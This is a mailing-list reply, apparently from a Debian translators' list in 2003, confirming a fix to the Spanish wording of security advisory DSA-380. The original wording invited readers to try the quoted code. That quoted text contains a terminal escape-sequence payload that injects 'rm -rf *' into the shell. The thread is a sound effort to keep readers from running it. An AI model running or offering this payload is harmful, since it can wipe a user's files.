[Date Prev][Date Next] [Thread Prev][Thread Next] [Date Index] [Thread Index]

Re: URGENT: Please remove dsa380.es



Hello, 

I did apply the change you suggested:
s/Si quiere, pruebe lo siguiente/Considere los efectos potenciales de/

I think I understand enough spanish to agree with you, even if I have to
trust you on the exact wording and spelling.

Moreover, this mail is CCed to the usual translator. Juan Manuel, feel free
to flame me if I were wrong.

Thanks for the repport, Mt.

On Sun, Sep 14, 2003 at 01:25:08PM +0200, Antonio Fiol Bonnín wrote:
> Hello,
> 
> Please remove the spanish translation for DSA-380.
> 
> It contains code potentially dangerous for the user, and encourages the 
> user to execute it.
> 
> In English it says:
> 
> ----------------
> Consider the following:
> 
>   echo -e '\e]2;s && echo rm -rf *\a' > /tmp/sploit
>   echo -e '\e[21t' >> /tmp/sploit
>   cat /tmp/sploit
> 
> -----------------
> 
> In Spanish, it has been translated as:
> Si quiere, pruebe lo siguiente:
> 
>   echo -e '\e]2;s && echo rm -rf *\a' > /tmp/aprovecham
>   echo -e '\e[21t' >> /tmp/aprovecham
>   cat /tmp/aprovecham
> 
> Which, in English is:
> If you wish, try the following: [...]
> 
> I feel there is an important difference between considering something, 
> and encouraging the user to try it.
> 
> 
> Please forward this message to the translators so they can provide a 
> better version.
> 
> In the meantime I suggest either removing the page or changing the text 
> by the following:
> 
> "Considere los efectos potenciales de:"
> 
> 
> Thank you very much.
> 
> 
> Antonio Fiol



-- 
Le monde est dangereux à vivre! Non pas tant à cause de ceux qui font le
mal, mais à cause de ceux qui regardent et laissent faire.
  -- Albert Einstein



Reply to: